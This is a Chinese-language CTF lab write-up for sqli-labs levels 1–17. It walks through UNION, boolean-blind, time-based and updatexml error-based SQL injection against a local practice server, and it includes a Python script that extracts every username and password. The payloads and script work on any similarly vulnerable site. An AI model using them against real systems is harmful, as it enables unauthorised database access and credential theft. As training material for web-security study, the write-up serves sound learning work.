title: sqli-labs basic challenges
date: 2023-08-04 16:34:03
categories: CTF-Web入门
description: 1~20总结
常用的MySql命令总结
查库: select schema_name from information_schema.schemata
查表: select table_name from information_schema.tables where table_schema='security'
查列: select column_name from information_schema.columns where table_name='users'
查字段:select username,password from security.users
-
system_user()
-
user()
-
current_user()
-
database()
查看当前数据库
- version()
- @@datadir
- @@version_compile_os
- group_concat()
用来将许多数据组成一行用来提取
- concat_ws('~',A,B)
用来将多个查询目标合成一行并且指定分隔符
Less-1~Less-4(手动注入)
测试能否注入(到底是什么包裹在下面有详细讨论)
http://127.0.0.13/sqli-labs-master/Less-1/?id=1'
查看当前数据表有多少列
http://127.0.0.13/sqli-labs-master/Less-1/?id=1' ORDER BY 3--+
查看哪些数据能回显
http://127.0.0.13/sqli-labs-master/Less-1/?id=-1' UNION SELECT 1,2,3--+
查看当前在什么数据库中
http://127.0.0.13/sqli-labs-master/Less-1/?id=-1' UNION SELECT 1,2,database()--+
查看所有数据库
http://127.0.0.13/sqli-labs-master/Less-1/?id=-1' UNION SELECT 1,2,group_concat(schema_name) FROM information_schema.schemata--+
查看security库中的所有表
http://127.0.0.13/sqli-labs-master/Less-1/?id=-1' UNION SELECT 1,2,group_concat(table_name) FROM information_schema.tables WHERE table_schema=0x7365637572697479--+
(单引号引起来的参数去掉单引号,将内容转换成16进制编码,前面加上0x)
查看user表中所有的列名
http://127.0.0.13/sqli-labs-master/Less-1/?id=-1' UNION SELECT 1,2,group_concat(column_name) FROM information_schema.columns WHERE table_name=0x7573657273--+
查看user表中所有的账号密码
http://127.0.0.13/sqli-labs-master/Less-1/?id=-1' UNION SELECT 1,2,group_concat(concat_ws(0x7e,username,password)) FROM security.users--+
以上是Less-1的过程,Less-2~4注入过程基本相同,重点在于判断是什么包裹着sql语句,1到4分别是单引号包裹、无包裹、括号套单引号包裹、括号套双引号包裹。
做法基本相同重点在于确定包裹,常见包裹有单引号、双引号、(’ ‘)、(“ ”)、((“ ”))和不包裹
Less-5~Less-8(布尔盲注脚本版)
Less-5登录成功和失败各有一种显示,可以使用布尔盲注。
下面是布尔盲注的脚本(针对less5),每次修改url和payload即可,顺序也是Less1~4的思路(无回显不用试列了),此为最后一步,直接注出username和password。
import requests
# 只需要修改url 和 两个payload即可
# 目标网址(不带参数)
url = "http://127.0.0.13/sqli-labs-master/Less-5/"
# 猜解长度使用的payload
payload_len = """?id=1' AND length(
(SELECT group_concat(concat_ws(0x2e,username,password)) FROM security.users)
) = {n} -- a"""
# 枚举字符使用的payload
payload_str = """?id=1' AND ascii(
substr(
(SELECT group_concat(concat_ws(0x2e,username,password)) FROM security.users)
,{n},1)
) = {r} -- a"""
# 获取长度
def getLength(url, payload):
length = 1 # 初始测试长度为1
while True:
response = requests.get(url=url + payload_len.format(n=length))
if 'You are in....' in response.text:
print('测试长度完成,长度为:', length, )
response.close()
return length
else:
print('正在测试长度:', length)
length += 1 # 测试长度递增
response.close()
# 获取字符
def getStr(url, payload, length):
str = '' # 初始表名/库名为空
# 第一层循环,截取每一个字符
for l in range(1, length + 1):
# 第二层循环,枚举截取字符的每一种可能性
for n in range(33, 126):
response = requests.get(url=url + payload_str.format(n=l, r=n))
# 页面中出现此内容则表示成功
if 'You are in....' in response.text:
str += chr(n)
print('第', l, '个字符猜解成功:', str)
response.close();
break
response.close()
return str
# 开始猜解
length = getLength(url, payload_len)
getStr(url, payload_str, length)
#脚本只能注入到第108个字符(存疑,有时更多),109开始到最后要自己修改起始值
Less-6包裹方式是双引号,改一下继续用脚本。
Less-7包裹方式是((’ ‘))
Less-8包裹方式是单引号。
Less-9~Less10(时间盲注)
布尔盲注和时间盲注的区别
布尔盲注用于成功和失败返回值不同的时候,可以根据成功还是失败确定插入的代码条件是否符合。
时间盲注用于成功和失败返回值相同的时候,这时候我们就要在布尔盲注的条件上加入sleep(),通过返回时间是否符合预期判断插入代码条件是否符合。
以9做栗子吧
测试注入点
http://127.0.0.13/sqli-labs-master/Less-9/?id=1' AND if(1=1,sleep(5),1)--+
确定是单引号
然后就是查当前库名,查所有库,查库下所有表,查表里所有列名,查账号密码,逻辑上和脚本相同,先尝试长度再慢慢尝试字符。
10的包裹方式是双引号。
Less-11~Less-20
从11开始就是post方式传值了,需要用hackbar来输入post数据
首先使用bp抓一下包看看post数据怎么传输的,可以确定传输方式如下
uname=***&passwd=***&Submit=Submit
(我的bp抓包显示第一个submit首字母小写,但是我的环境下只有大写才能过)
11先尝试一下注入点
uname=admin' #&passwd=admin&Submit=Submit
单引号包裹,开始重复1的流程思路,我只演示一下查当前库
uname=adn' UNION SELECT 1,database() #&passwd=admin&Submit=Submit
12只是(“ ”),思路相同。
13登录成功后发现只有登录成功字样,没有回显,所以原来那种方法不可以使用了,开始布尔盲注
uname=admin')#&passwd=admin&Submit=Submit
确定是(' ')包裹
开始盲注
先测长度 uname=admin') AND length(database())=8#&passwd=admin&Submit=Submit
再逐位测字符uname=admin') AND left((database()),1)='s'#&passwd=admin&Submit=Submit
14只是双引号包裹,思路相同。
15是单引号包裹,思路相同。
16是(" ")包裹,思路相同。
17可以看到是更新密码
username字段做了过滤,从password字段注入
使用updatexml进行报错注入
注入点uname=admin&passwd=admin'#&Submit=Submit
查看当前库uname=admin&passwd=1' and updatexml(1,concat(0x7e,(SELECT database())),1)#&Submit=Submit
看表uname=admin&passwd=1' and updatexml(1,concat(0x7e,(SELECT table_name FROM information_schema.tables WHERE table_schema='security' LIMIT 3,1)),1)#&Submit=Submit
看列uname=admin&passwd=1' and updatexml(1,concat(0x7e,(SELECT column_name FROM information_schema.columns WHERE table_name='users' LIMIT 5,1)),1)#&Submit=Submit
看内容uname=admin&passwd=1' and updatexml(1,concat(0x7e,(select * from (select group_concat(concat_ws('~',username,password)) from security.users) a)),1)#&Submit=Submit